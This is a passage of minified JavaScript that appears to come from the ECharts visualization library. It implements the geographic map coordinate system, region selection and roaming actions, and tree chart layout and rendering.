n.transform=t.transform,n.decomposeTransform(),{roam:{x:n.x,y:n.y,scaleX:n.scaleX,scaleY:n.scaleY},raw:{x:e.x,y:e.y,scaleX:e.scaleX,scaleY:e.scaleY}}},t.prototype.getViewRect=function(){return this._viewRect},t.prototype.getViewRectAfterRoam=function(){var e=this.getBoundingRect().clone();return e.applyTransform(this.transform),e},t.prototype.dataToPoint=function(e,t,n){var r=t?this._rawTransform:this.transform;return n||=[],r?gI(n,e,r):Ht(n,e)},t.prototype.pointToData=function(e,t,n){n||=[];var r=this.invTransform;return r?gI(n,e,r):(n[0]=e[0],n[1]=e[1],n)},t.prototype.convertToPixel=function(e,t,n){var r=vI(t);return r===this?r.dataToPoint(n):null},t.prototype.convertFromPixel=function(e,t,n){var r=vI(t);return r===this?r.pointToData(n):null},t.prototype.containPoint=function(e){return this.getViewRectAfterRoam().contain(e[0],e[1])},t.dimensions=[`x`,`y`],t}(fo);function vI(e){var t=e.seriesModel;return t?t.coordinateSystem:null}var yI={geoJSON:{aspectScale:.75,invertLongitute:!0},geoSVG:{aspectScale:1,invertLongitute:!1}},bI=[`lng`,`lat`],xI=function(e){N(t,e);function t(t,n,r){var i=e.call(this,t,{api:r.api,ecModel:r.ecModel})||this;i.dimensions=bI,i.type=`geo`,i._nameCoordMap=G(),i.map=n;var a=r.projection,o=XF.load(n,r.nameMap,r.nameProperty),s=XF.getGeoResource(n);i.resourceType=s?s.type:null;var c=i.regions=o.regions,l=yI[s.type];i._regionsMap=o.regionsMap,i.regions=o.regions,i.projection=a;var u;if(a)for(var d=0;d<c.length;d++){var f=c[d].getBoundingRect(a);u||=f.clone(),u.union(f)}else u=o.boundingRect;return i.setBoundingRect(u.x,u.y,u.width,u.height),i.aspectScale=a?1:W(r.aspectScale,l.aspectScale),i._invertLongitute=a?!1:l.invertLongitute,i}return t.prototype._transformTo=function(e,t,n,r){var i=this.getBoundingRect(),a=this._invertLongitute;i=i.clone(),a&&(i.y=-i.y-i.height);var o=this._rawTransformable;o.transform=i.calculateTransform(new J(e,t,n,r));var s=o.parent;o.parent=null,o.decomposeTransform(),o.parent=s,a&&(o.scaleY=-o.scaleY),this._updateTransform()},t.prototype.getRegion=function(e){return this._regionsMap.get(e)},t.prototype.getRegionByCoord=function(e){for(var t=this.regions,n=0;n<t.length;n++){var r=t[n];if(r.type===`geoJSON`&&r.contain(e))return t[n]}},t.prototype.addGeoCoord=function(e,t){this._nameCoordMap.set(e,t)},t.prototype.getGeoCoord=function(e){var t=this._regionsMap.get(e);return this._nameCoordMap.get(e)||t&&t.getCenter()},t.prototype.dataToPoint=function(e,t,n){if(H(e)&&(e=this.getGeoCoord(e)),e){var r=this.projection;return r&&(e=r.project(e)),e&&this.projectedToPoint(e,t,n)}},t.prototype.pointToData=function(e,t,n){var r=this.projection;return r&&(e=r.unproject(e)),e&&this.pointToProjected(e,n)},t.prototype.pointToProjected=function(t,n){return e.prototype.pointToData.call(this,t,0,n)},t.prototype.projectedToPoint=function(t,n,r){return e.prototype.dataToPoint.call(this,t,n,r)},t.prototype.convertToPixel=function(e,t,n){var r=SI(t);return r===this?r.dataToPoint(n):null},t.prototype.convertFromPixel=function(e,t,n){var r=SI(t);return r===this?r.pointToData(n):null},t}(_I);ot(xI,_I);function SI(e){var t=e.geoModel,n=e.seriesModel;return t?t.coordinateSystem:n?n.coordinateSystem||(n.getReferringComponents(`geo`,uc).models[0]||{}).coordinateSystem:null}function CI(e,t){var n=e.get(`boundingCoords`);if(n!=null){var r=n[0],i=n[1];if(isFinite(r[0])&&isFinite(r[1])&&isFinite(i[0])&&isFinite(i[1])){var a=this.projection;if(a){var o=r[0],s=r[1],c=i[0],l=i[1];r=[1/0,1/0],i=[-1/0,-1/0];var u=function(e,t,n,o){for(var s=n-e,c=o-t,l=0;l<=100;l++){var u=l/100,d=a.project([e+s*u,t+c*u]);an(r,r,d),on(i,i,d)}};u(o,s,c,s),u(c,s,c,l),u(c,l,o,l),u(o,l,c,s)}this.setBoundingRect(r[0],r[1],i[0]-r[0],i[1]-r[1])}}var d=this.getBoundingRect(),f=e.get(`layoutCenter`),p=e.get(`layoutSize`),m=Kg(e,t).refContainer,h=d.width/d.height*this.aspectScale,g=!1,_,v;f&&p&&(_=[X(f[0],m.width)+m.x,X(f[1],m.height)+m.y],v=X(p,Math.min(m.width,m.height)),!isNaN(_[0])&&!isNaN(_[1])&&!isNaN(v)&&(g=!0));var y;if(g)y={},h>1?(y.width=v,y.height=v/h):(y.height=v,y.width=v*h),y.y=_[1]-y.height/2,y.x=_[0]-y.width/2;else{var b=e.getBoxLayoutParams();b.aspect=h,y=Ug(b,m),y=Wg(e,y,h)}this.setViewRect(y.x,y.y,y.width,y.height),this.setCenter(e.get(`center`)),this.setZoom(e.get(`zoom`))}function wI(e,t){L(t.get(`geoCoord`),function(t,n){e.addGeoCoord(n,t)})}var TI=new(function(){function e(){this.dimensions=bI}return e.prototype.create=function(e,t){var n=[];function r(e){return{nameProperty:e.get(`nameProperty`),aspectScale:e.get(`aspectScale`),projection:e.get(`projection`)}}e.eachComponent(`geo`,function(i,a){var o=i.get(`map`),s=new xI(o+a,o,F({nameMap:i.get(`nameMap`),api:t,ecModel:e},r(i)));s.zoomLimit=i.get(`scaleLimit`),n.push(s),i.coordinateSystem=s,s.model=i,s.resize=CI,s.resize(i,t)}),e.eachSeries(function(e){Ng({targetModel:e,coordSysType:`geo`,coordSysProvider:function(){var t=e.subType===`map`?e.getHostGeoModel():e.getReferringComponents(`geo`,uc).models[0];return t&&t.coordinateSystem},allowNotFound:!0})});var i={};return e.eachSeriesByType(`map`,function(e){if(!e.getHostGeoModel()){var t=e.getMapType();i[t]=i[t]||[],i[t].push(e)}}),L(i,function(i,a){var o=new xI(a,a,F({nameMap:rt(R(i,function(e){return e.get(`nameMap`)})),api:t,ecModel:e},r(i[0])));o.zoomLimit=Ct.apply(null,R(i,function(e){return e.get(`scaleLimit`)})),n.push(o),o.resize=CI,o.resize(i[0],t),L(i,function(e){e.coordinateSystem=o,wI(o,e)})}),n},e.prototype.getFilledRegions=function(e,t,n,r){for(var i=(e||[]).slice(),a=G(),o=0;o<i.length;o++)a.set(i[o].name,i[o]);return L(XF.load(t,n,r).regions,function(e){var t=e.name,n=a.get(t),r=e.properties&&e.properties.echartsStyle;n||(n={name:t},i.push(n)),r&&nt(n,r)}),i},e}()),EI=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(e,t,n){this.mergeDefaultAndTheme(e,n);var r=XF.getGeoResource(e.map);if(r&&r.type===`geoJSON`){var i=e.itemStyle=e.itemStyle||{};`color`in i||(i.color=e.defaultItemStyleColor||Q.color.backgroundTint)}zs(e,`label`,[`show`])},t.prototype.optionUpdated=function(){var e=this,t=this.option;t.regions=TI.getFilledRegions(t.regions,t.map,t.nameMap,t.nameProperty);var n={};this._optionModelMap=ct(t.regions||[],function(t,r){var i=r.name;return i&&(t.set(i,new lh(r,e,e.ecModel)),r.selected&&(n[i]=!0)),t},G()),t.selectedMap||=n},t.prototype.getRegionModel=function(e){return this._optionModelMap.get(e)||new lh(null,this,this.ecModel)},t.prototype.getFormattedLabel=function(e,t){var n=this.getRegionModel(e),r=t===`normal`?n.get([`label`,`formatter`]):n.get([`emphasis`,`label`,`formatter`]),i={name:e};if(V(r))return i.status=t,r(i);if(H(r))return r.replace(`{a}`,e??``)},t.prototype.setZoom=function(e){this.option.zoom=e},t.prototype.setCenter=function(e){this.option.center=e},t.prototype.select=function(e){var t=this.option,n=t.selectedMode;if(n){n!==`multiple`&&(t.selectedMap=null);var r=t.selectedMap||={};r[e]=!0}},t.prototype.unSelect=function(e){var t=this.option.selectedMap;t&&(t[e]=!1)},t.prototype.toggleSelected=function(e){this[this.isSelected(e)?`unSelect`:`select`](e)},t.prototype.isSelected=function(e){var t=this.option.selectedMap;return!!(t&&t[e])},t.type=`geo`,t.layoutMode=`box`,t.defaultOption={z:0,show:!0,left:`center`,top:`center`,aspectScale:null,silent:!1,map:``,boundingCoords:null,center:null,zoom:1,scaleLimit:null,label:{show:!1,color:Q.color.tertiary},itemStyle:{borderWidth:.5,borderColor:Q.color.border},emphasis:{label:{show:!0,color:Q.color.primary},itemStyle:{color:Q.color.highlight}},select:{label:{show:!0,color:Q.color.primary},itemStyle:{color:Q.color.highlight}},regions:[]},t}(e_),DI=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.focusBlurEnabled=!0,n}return t.prototype.init=function(e,t){this._api=t},t.prototype.render=function(e,t,n,r){if(this._model=e,!e.get(`show`)){this._mapDraw&&this._mapDraw.remove(),this._mapDraw=null;return}this._mapDraw||=new iI(n);var i=this._mapDraw;i.draw(e,t,n,this,r),i.group.on(`click`,this._handleRegionClick,this),i.group.silent=e.get(`silent`),this.group.add(i.group),this.updateSelectStatus(e,t,n)},t.prototype._handleRegionClick=function(e){var t;Ax(e.target,function(e){return(t=Z(e).eventData)!=null},!0),t&&this._api.dispatchAction({type:`geoToggleSelect`,geoId:this._model.id,name:t.name})},t.prototype.updateSelectStatus=function(e,t,n){var r=this;this._mapDraw.group.traverse(function(e){var t=Z(e).eventData;if(t)return r._model.isSelected(t.name)?n.enterSelect(e):n.leaveSelect(e),!0})},t.prototype.findHighDownDispatchers=function(e){return this._mapDraw&&this._mapDraw.findHighDownDispatchers(e,this._model)},t.prototype.dispose=function(){this._mapDraw&&this._mapDraw.remove()},t.type=`geo`,t}(Eb);function OI(e,t,n){XF.registerMap(e,t,n)}function kI(e){e.registerCoordinateSystem(`geo`,TI),e.registerComponentModel(EI),e.registerComponentView(DI),e.registerImpl(`registerMap`,OI),e.registerImpl(`getMap`,function(e){return XF.getMapForUser(e)});function t(t,n){n.update=`geo:updateSelectStatus`,e.registerAction(n,function(e,n){var r={},i=[];return n.eachComponent({mainType:`geo`,query:e},function(n){n[t](e.name);var a=n.coordinateSystem;L(a.regions,function(e){r[e.name]=n.isSelected(e.name)||!1});var o=[];L(r,function(e,t){r[t]&&o.push(t)}),i.push({geoIndex:n.componentIndex,name:o})}),{selected:r,allSelected:i,name:e.name}})}t(`toggleSelected`,{type:`geoToggleSelect`,event:`geoselectchanged`}),t(`select`,{type:`geoSelect`,event:`geoselected`}),t(`unSelect`,{type:`geoUnSelect`,event:`geounselected`}),e.registerAction({type:`geoRoam`,event:`geoRoam`,update:`updateTransform`},function(e,t,n){var r=e.componentType;r||(e.geoId==null?e.seriesId!=null&&(r=`series`):r=`geo`),r||=`series`,t.eachComponent({mainType:r,query:e},function(t){var n=t.coordinateSystem;if(n.type===`geo`){var i=tF(n,e,t.get(`scaleLimit`));t.setCenter&&t.setCenter(i.center),t.setZoom&&t.setZoom(i.zoom),r===`series`&&L(t.seriesGroup,function(e){e.setCenter(i.center),e.setZoom(i.zoom)})}})})}function AI(e){bw(kI),e.registerChartView(dI),e.registerSeriesModel(fI),e.registerLayout(hI),e.registerProcessor(e.PRIORITY.PROCESSOR.STATISTIC,mI),Dx(`map`,e.registerAction)}function jI(e){var t=e;t.hierNode={defaultAncestor:null,ancestor:t,prelim:0,modifier:0,change:0,shift:0,i:0,thread:null};for(var n=[t],r,i;r=n.pop();)if(i=r.children,r.isExpand&&i.length)for(var a=i.length-1;a>=0;a--){var o=i[a];o.hierNode={defaultAncestor:null,ancestor:o,prelim:0,modifier:0,change:0,shift:0,i:a,thread:null},n.push(o)}}function MI(e,t){var n=e.isExpand?e.children:[],r=e.parentNode.children,i=e.hierNode.i?r[e.hierNode.i-1]:null;if(n.length){II(e);var a=(n[0].hierNode.prelim+n[n.length-1].hierNode.prelim)/2;i?(e.hierNode.prelim=i.hierNode.prelim+t(e,i),e.hierNode.modifier=e.hierNode.prelim-a):e.hierNode.prelim=a}else i&&(e.hierNode.prelim=i.hierNode.prelim+t(e,i));e.parentNode.hierNode.defaultAncestor=LI(e,i,e.parentNode.hierNode.defaultAncestor||r[0],t)}function NI(e){var t=e.hierNode.prelim+e.parentNode.hierNode.modifier;e.setLayout({x:t},!0),e.hierNode.modifier+=e.parentNode.hierNode.modifier}function PI(e){return arguments.length?e:HI}function FI(e,t){return e-=Math.PI/2,{x:t*Math.cos(e),y:t*Math.sin(e)}}function II(e){for(var t=e.children,n=t.length,r=0,i=0;--n>=0;){var a=t[n];a.hierNode.prelim+=r,a.hierNode.modifier+=r,i+=a.hierNode.change,r+=a.hierNode.shift+i}}function LI(e,t,n,r){if(t){for(var i=e,a=e,o=a.parentNode.children[0],s=t,c=i.hierNode.modifier,l=a.hierNode.modifier,u=o.hierNode.modifier,d=s.hierNode.modifier;s=RI(s),a=zI(a),s&&a;){i=RI(i),o=zI(o),i.hierNode.ancestor=e;var f=s.hierNode.prelim+d-a.hierNode.prelim-l+r(s,a);f>0&&(VI(BI(s,e,n),e,f),l+=f,c+=f),d+=s.hierNode.modifier,l+=a.hierNode.modifier,c+=i.hierNode.modifier,u+=o.hierNode.modifier}s&&!RI(i)&&(i.hierNode.thread=s,i.hierNode.modifier+=d-c),a&&!zI(o)&&(o.hierNode.thread=a,o.hierNode.modifier+=l-u,n=e)}return n}function RI(e){var t=e.children;return t.length&&e.isExpand?t[t.length-1]:e.hierNode.thread}function zI(e){var t=e.children;return t.length&&e.isExpand?t[0]:e.hierNode.thread}function BI(e,t,n){return e.hierNode.ancestor.parentNode===t.parentNode?e.hierNode.ancestor:n}function VI(e,t,n){var r=n/(t.hierNode.i-e.hierNode.i);t.hierNode.change-=r,t.hierNode.shift+=n,t.hierNode.modifier+=n,t.hierNode.prelim+=n,e.hierNode.change+=r}function HI(e,t){return e.parentNode===t.parentNode?1:2}var UI=function(){function e(){this.parentPoint=[],this.childPoints=[]}return e}(),WI=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultStyle=function(){return{stroke:Q.color.neutral99,fill:null}},t.prototype.getDefaultShape=function(){return new UI},t.prototype.buildPath=function(e,t){var n=t.childPoints,r=n.length,i=t.parentPoint,a=n[0],o=n[r-1];if(r===1){e.moveTo(i[0],i[1]),e.lineTo(a[0],a[1]);return}var s=t.orient,c=s===`TB`||s===`BT`?0:1,l=1-c,u=X(t.forkPosition,1),d=[];d[c]=i[c],d[l]=i[l]+(o[l]-i[l])*u,e.moveTo(i[0],i[1]),e.lineTo(d[0],d[1]),e.moveTo(a[0],a[1]),d[c]=a[c],e.lineTo(d[0],d[1]),d[c]=o[c],e.lineTo(d[0],d[1]),e.lineTo(o[0],o[1]);for(var f=1;f<r-1;f++){var p=n[f];e.moveTo(p[0],p[1]),d[c]=p[c],e.lineTo(d[0],d[1])}},t}(Cu),GI=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n._mainGroup=new Y,n}return t.prototype.init=function(e,t){this._controller=new VP(t.getZr()),this._controllerHost={target:this.group},this.group.add(this._mainGroup)},t.prototype.render=function(e,t,n){var r=e.getData(),i=e.layoutInfo,a=this._mainGroup;e.get(`layout`)===`radial`?(a.x=i.x+i.width/2,a.y=i.y+i.height/2):(a.x=i.x,a.y=i.y),this._updateViewCoordSys(e,n),this._updateController(e,null,t,n);var o=this._data;r.diff(o).add(function(t){KI(r,t)&&qI(r,t,null,a,e)}).update(function(t,n){var i=o.getItemGraphicEl(n);if(!KI(r,t)){i&&ZI(o,n,i,a,e);return}qI(r,t,i,a,e)}).remove(function(t){var n=o.getItemGraphicEl(t);n&&ZI(o,t,n,a,e)}).execute(),this._nodeScaleRatio=e.get(`nodeScaleRatio`),this._updateNodeAndLinkScale(e),e.get(`expandAndCollapse`)===!0&&r.eachItemGraphicEl(function(t,r){t.off(`click`).on(`click`,function(){n.dispatchAction({type:`treeExpandAndCollapse`,seriesId:e.id,dataIndex:r})})}),this._data=r},t.prototype._updateViewCoordSys=function(e,t){var n=e.getData(),r=[];n.each(function(e){var t=n.getItemLayout(e);t&&!isNaN(t.x)&&!isNaN(t.y)&&r.push([+t.x,+t.y])});var i=[],a=[];Dl(r,i,a);var o=this._min,s=this._max;a[0]-i[0]===0&&(i[0]=o?o[0]:i[0]-1,a[0]=s?s[0]:a[0]+1),a[1]-i[1]===0&&(i[1]=o?o[1]:i[1]-1,a[1]=s?s[1]:a[1]+1);var c=e.coordinateSystem=new _I(null,{api:t,ecModel:e.ecModel});c.zoomLimit=e.get(`scaleLimit`),c.setBoundingRect(i[0],i[1],a[0]-i[0],a[1]-i[1]),c.setCenter(e.get(`center`)),c.setZoom(e.get(`zoom`)),this.group.attr({x:c.x,y:c.y,scaleX:c.scaleX,scaleY:c.scaleY}),this._min=i,this._max=a},t.prototype._updateController=function(e,t,n,r){var i=this;$P(e,r,this.group,this._controller,this._controllerHost,t),this._controller.on(`zoom`,function(t){i._updateNodeAndLinkScale(e)})},t.prototype._updateNodeAndLinkScale=function(e){var t=e.getData(),n=this._getNodeGlobalScale(e);t.eachItemGraphicEl(function(e,t){e.setSymbolScale(n)})},t.prototype._getNodeGlobalScale=function(e){var t=e.coordinateSystem;if(t.type!==`view`)return 1;var n=this._nodeScaleRatio,r=t.scaleX||1;return((t.getZoom()-1)*n+1)/r},t.prototype.dispose=function(){this._controller&&this._controller.dispose(),this._controllerHost=null},t.prototype.remove=function(){this._mainGroup.removeAll(),this._data=null},t.type=`tree`,t}(Ab);function KI(e,t){var n=e.getItemLayout(t);return n&&!isNaN(n.x)&&!isNaN(n.y)}function qI(e,t,n,r,i){var a=!n,o=e.tree.getNodeByDataIndex(t),s=o.getModel(),c=o.getVisual(`style`).fill,l=o.isExpand===!1&&o.children.length!==0?c:Q.color.neutral00,u=e.tree.root,d=o.parentNode===u?o:o.parentNode||o,f=e.getItemGraphicEl(d.dataIndex),p=d.getLayout(),m=f?{x:f.__oldX,y:f.__oldY,rawX:f.__radialOldRawX,rawY:f.__radialOldRawY}:p,h=o.getLayout();a?(n=new mA(e,t,null,{symbolInnerColor:l,useNameLabel:!0}),n.x=m.x,n.y=m.y):n.updateData(e,t,null,{symbolInnerColor:l,useNameLabel:!0}),n.__radialOldRawX=n.__radialRawX,n.__radialOldRawY=n.__radialRawY,n.__radialRawX=h.rawX,n.__radialRawY=h.rawY,r.add(n),e.setItemGraphicEl(t,n),n.__oldX=n.x,n.__oldY=n.y,Lp(n,{x:h.x,y:h.y},i);var g=n.getSymbolPath();if(i.get(`layout`)===`radial`){var _=u.children[0],v=_.getLayout(),y=_.children.length,b=void 0,x=void 0;if(h.x===v.x&&o.isExpand===!0&&_.children.length){var S={x:(_.children[0].getLayout().x+_.children[y-1].getLayout().x)/2,y:(_.children[0].getLayout().y+_.children[y-1].getLayout().y)/2};b=Math.atan2(S.y-v.y,S.x-v.x),b<0&&(b=Math.PI*2+b),x=S.x<v.x,x&&(b-=Math.PI)}else b=Math.atan2(h.y-v.y,h.x-v.x),b<0&&(b=Math.PI*2+b),o.children.length===0||o.children.length!==0&&o.isExpand===!1?(x=h.x<v.x,x&&(b-=Math.PI)):(x=h.x>v.x,x||(b-=Math.PI));var C=x?`left`:`right`,w=s.getModel(`label`),T=w.get(`rotate`),E=Math.PI/180*T,D=g.getTextContent();D&&(g.setTextConfig({position:w.get(`position`)||C,rotation:T==null?-b:E,origin:`center`}),D.setStyle(`verticalAlign`,`middle`))}var O=s.get([`emphasis`,`focus`]),k=O===`relative`?It(o.getAncestorsIndices(),o.getDescendantIndices()):O===`ancestor`?o.getAncestorsIndices():O===`descendant`?o.getDescendantIndices():null;k&&(Z(n).focus=k),JI(i,o,u,n,m,p,h,r),n.__edge&&(n.onHoverStateChange=function(t){if(t!==`blur`){var r=o.parentNode&&e.getItemGraphicEl(o.parentNode.dataIndex);r&&r.hoverState===1||Td(n.__edge,t)}})}function JI(e,t,n,r,i,a,o,s){var c=t.getModel(),l=e.get(`edgeShape`),u=e.get(`layout`),d=e.getOrient(),f=e.get([`lineStyle`,`curveness`]),p=e.get(`edgeForkPosition`),m=c.getModel(`lineStyle`).getLineStyle(),h=r.__edge;if(l===`curve`)t.parentNode&&t.parentNode!==n&&(h||=r.__edge=new gp({shape:QI(u,d,f,i,i)}),Lp(h,{shape:QI(u,d,f,a,o)},e));else if(l===`polyline`&&u===`orthogonal`&&t!==n&&t.children&&t.children.length!==0&&t.isExpand===!0){for(var g=t.children,_=[],v=0;v<g.length;v++){var y=g[v].getLayout();_.push([y.x,y.y])}h||=r.__edge=new WI({shape:{parentPoint:[o.x,o.y],childPoints:[[o.x,o.y]],orient:d,forkPosition:p}}),Lp(h,{shape:{parentPoint:[o.x,o.y],childPoints:_}},e)}h&&!(l===`polyline`&&!t.isExpand)&&(h.useStyle(I({strokeNoScale:!0,fill:null},m)),rf(h,c,`lineStyle`),jd(h),s.add(h))}function YI(e,t,n,r,i){var a=t.tree.root,o=XI(a,e),s=o.source,c=o.sourceLayout,l=t.getItemGraphicEl(e.dataIndex);if(l){var u=t.getItemGraphicEl(s.dataIndex).__edge,d=l.__edge||(s.isExpand===!1||s.children.length===1?u:void 0),f=r.get(`edgeShape`),p=r.get(`layout`),m=r.get(`orient`),h=r.get([`lineStyle`,`curveness`]);d&&(f===`curve`?Bp(d,{shape:QI(p,m,h,c,c),style:{opacity:0}},r,{cb:function(){n.remove(d)},removeOpt:i}):f===`polyline`&&r.get(`layout`)===`orthogonal`&&Bp(d,{shape:{parentPoint:[c.x,c.y],childPoints:[[c.x,c.y]]},style:{opacity:0}},r,{cb:function(){n.remove(d)},removeOpt:i}))}}function XI(e,t){for(var n=t.parentNode===e?t:t.parentNode||t,r;r=n.getLayout(),r==null;)n=n.parentNode===e?n:n.parentNode||n;return{source:n,sourceLayout:r}}function ZI(e,t,n,r,i){var a=e.tree.getNodeByDataIndex(t),o=e.tree.root,s=XI(o,a).sourceLayout,c={duration:i.get(`animationDurationUpdate`),easing:i.get(`animationEasingUpdate`)};Bp(n,{x:s.x+1,y:s.y+1},i,{cb:function(){r.remove(n),e.setItemGraphicEl(t,null)},removeOpt:c}),n.fadeOut(null,e.hostModel,{fadeLabel:!0,animation:c}),a.children.forEach(function(t){YI(t,e,r,i,c)}),YI(a,e,r,i,c)}function QI(e,t,n,r,i){var a,o,s,c,l,u,d,f;if(e===`radial`){l=r.rawX,d=r.rawY,u=i.rawX,f=i.rawY;var p=FI(l,d),m=FI(l,d+(f-d)*n),h=FI(u,f+(d-f)*n),g=FI(u,f);return{x1:p.x||0,y1:p.y||0,x2:g.x||0,y2:g.y||0,cpx1:m.x||0,cpy1:m.y||0,cpx2:h.x||0,cpy2:h.y||0}}else l=r.x,d=r.y,u=i.x,f=i.y,(t===`LR`||t===`RL`)&&(a=l+(u-l)*n,o=d,s=u+(l-u)*n,c=f),(t===`TB`||t===`BT`)&&(a=l,o=d+(f-d)*n,s=u,c=f+(d-f)*n);return{x1:l,y1:d,x2:u,y2:f,cpx1:a,cpy1:o,cpx2:s,cpy2:c}}var $I=oc();function eL(e){var t=e.mainData,n=e.datas;n||(n={main:t},e.datasAttr={main:`data`}),e.datas=e.mainData=null,sL(t,n,e),L(n,function(n){L(t.TRANSFERABLE_METHODS,function(t){n.wrapMethod(t,pt(tL,e))})}),t.wrapMethod(`cloneShallow`,pt(rL,e)),L(t.CHANGABLE_METHODS,function(n){t.wrapMethod(n,pt(nL,e))}),Dt(n[t.dataType]===t)}function tL(e,t){if(oL(this)){var n=F({},$I(this).datas);n[this.dataType]=t,sL(t,n,e)}else cL(t,this.dataType,$I(this).mainData,e);return t}function nL(e,t){return e.struct&&e.struct.update(),t}function rL(e,t){return L($I(t).datas,function(n,r){n!==t&&cL(n.cloneShallow(),r,t,e)}),t}function iL(e){var t=$I(this).mainData;return e==null||t==null?t:$I(t).datas[e]}function aL(){var e=$I(this).mainData;return e==null?[{data:e}]:R(dt($I(e).datas),function(t){return{type:t,data:$I(e).datas[t]}})}function oL(e){return $I(e).mainData===e}function sL(e,t,n){$I(e).datas={},L(t,function(t,r){cL(t,r,e,n)})}function cL(e,t,n,r){$I(n).datas[t]=e,$I(e).mainData=n,e.dataType=t,r.struct&&(e[r.structAttr]=r.struct,r.struct[r.datasAttr[t]]=e),e.getLinkedData=iL,e.getLinkedDataAll=aL}var lL=function(){function e(e,t){this.depth=0,this.height=0,this.dataIndex=-1,this.children=[],this.viewChildren=[],this.isExpand=!1,this.name=e||``,this.hostTree=t}return e.prototype.isRemoved=function(){return this.dataIndex<0},e.prototype.eachNode=function(e,t,n){V(e)&&(n=t,t=e,e=null),e||={},H(e)&&(e={order:e});var r=e.order||`preorder`,i=this[e.attr||`children`],a;r===`preorder`&&(a=t.call(n,this));for(var o=0;!a&&o<i.length;o++)i[o].eachNode(e,t,n);r===`postorder`&&t.call(n,this)},e.prototype.updateDepthAndHeight=function(e){var t=0;this.depth=e;for(var n=0;n<this.children.length;n++){var r=this.children[n];r.updateDepthAndHeight(e+1),r.height>t&&(t=r.height)}this.height=t+1},e.prototype.getNodeById=function(e){if(this.getId()===e)return this;for(var t=0,n=this.children,r=n.length;t<r;t++){var i=n[t].getNodeById(e);if(i)return i}},e.prototype.contains=function(e){if(e===this)return!0;for(var t=0,n=this.children,r=n.length;t<r;t++){var i=n[t].contains(e);if(i)return i}},e.prototype.getAncestors=function(e){for(var t=[],n=e?this:this.parentNode;n;)t.push(n),n=n.parentNode;return t.reverse(),t},e.prototype.getAncestorsIndices=function(){for(var e=[],t=this;t;)e.push(t.dataIndex),t=t.parentNode;return e.reverse(),e},e.prototype.getDescendantIndices=function(){var e=[];return this.eachNode(function(t){e.push(t.dataIndex)}),e},e.prototype.getValue=function(e){var t=this.hostTree.data;return t.getStore().get(t.getDimensionIndex(e||`value`),this.dataIndex)},e.prototype.setLayout=function(e,t){this.dataIndex>=0&&this.hostTree.data.setItemLayout(this.dataIndex,e,t)},e.prototype.getLayout=function(){return this.hostTree.data.getItemLayout(this.dataIndex)},e.prototype.getModel=function(e){if(!(this.dataIndex<0))return this.hostTree.data.getItemModel(this.dataIndex).getModel(e)},e.prototype.getLevelModel=function(){return(this.hostTree.levelModels||[])[this.depth]},e.prototype.setVisual=function(e,t){this.dataIndex>=0&&this.hostTree.data.setItemVisual(this.dataIndex,e,t)},e.prototype.getVisual=function(e){return this.hostTree.data.getItemVisual(this.dataIndex,e)},e.prototype.getRawIndex=function(){return this.hostTree.data.getRawIndex(this.dataIndex)},e.prototype.getId=function(){return this.hostTree.data.getId(this.dataIndex)},e.prototype.getChildIndex=function(){if(this.parentNode){for(var e=this.parentNode.children,t=0;t<e.length;++t)if(e[t]===this)return t;return-1}return-1},e.prototype.isAncestorOf=function(e){for(var t=e.parentNode;t;){if(t===this)return!0;t=t.parentNode}return!1},e.prototype.isDescendantOf=function(e){return e!==this&&e.isAncestorOf(this)},e}(),uL=function(){function e(e){this.type=`tree`,this._nodes=[],this.hostModel=e}return e.prototype.eachNode=function(e,t,n){this.root.eachNode(e,t,n)},e.prototype.getNodeByDataIndex=function(e){var t=this.data.getRawIndex(e);return this._nodes[t]},e.prototype.getNodeById=function(e){return this.root.getNodeById(e)},e.prototype.update=function(){for(var e=this.data,t=this._nodes,n=0,r=t.length;n<r;n++)t[n].dataIndex=-1;for(var n=0,r=e.count();n<r;n++)t[e.getRawIndex(n)].dataIndex=n},e.prototype.clearLayouts=function(){this.data.clearItemLayouts()},e.createTree=function(t,n,r){var i=new e(n),a=[],o=1;s(t);function s(e,t){var n=e.value;o=Math.max(o,B(n)?n.length:1),a.push(e);var r=new lL(Qs(e.name,``),i);t?dL(r,t):i.root=r,i._nodes.push(r);var c=e.children;if(c)for(var l=0;l<c.length;l++)s(c[l],r)}i.root.updateDepthAndHeight(0);var c=Qw(a,{coordDimensions:[`value`],dimensionsCount:o}).dimensions,l=new Zw(c,n);return l.initData(a),r&&r(l),eL({mainData:l,struct:i,structAttr:`tree`}),i.update(),i},e}();function dL(e,t){var n=t.children;e.parentNode!==t&&(n.push(e),e.parentNode=t)}function fL(e,t,n){if(e&&it(t,e.type)>=0){var r=n.getData().tree.root,i=e.targetNode;if(H(i)&&(i=r.getNodeById(i)),i&&r.contains(i))return{node:i};var a=e.targetNodeId;if(a!=null&&(i=r.getNodeById(a)))return{node:i}}}function pL(e){for(var t=[];e;)e=e.parentNode,e&&t.push(e);return t.reverse()}function mL(e,t){return it(pL(e),t)>=0}function hL(e,t){for(var n=[];e;){var r=e.dataIndex;n.push({name:e.name,dataIndex:r,value:t.getRawValue(r)}),e=e.parentNode}return n.reverse(),n}var gL=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.hasSymbolVisual=!0,t.ignoreStyleOnData=!0,t}return t.prototype.getInitialData=function(e){var t={name:e.name,children:e.data},n=new lh(e.leaves||{},this,this.ecModel),r=uL.createTree(t,this,i);function i(e){e.wrapMethod(`getItemModel`,function(e,t){var i=r.getNodeByDataIndex(t);return i&&i.children.length&&i.isExpand||(e.parentModel=n),e})}var a=0;r.eachNode(`preorder`,function(e){e.depth>a&&(a=e.depth)});var o=e.expandAndCollapse&&e.initialTreeDepth>=0?e.initialTreeDepth:a;return r.root.eachNode(`preorder`,function(e){var t=e.hostTree.data.getRawDataItem(e.dataIndex);e.isExpand=t&&t.collapsed!=null?!t.collapsed:e.depth<=o}),r.data},t.prototype.getOrient=function(){var e=this.get(`orient`);return e===`horizontal`?e=`LR`:e===`vertical`&&(e=`TB`),e},t.prototype.setZoom=function(e){this.option.zoom=e},t.prototype.setCenter=function(e){this.option.center=e},t.prototype.formatTooltip=function(e,t,n){for(var r=this.getData().tree,i=r.root.children[0],a=r.getNodeByDataIndex(e),o=a.getValue(),s=a.name;a&&a!==i;)s=a.parentNode.name+`.`+s,a=a.parentNode;return 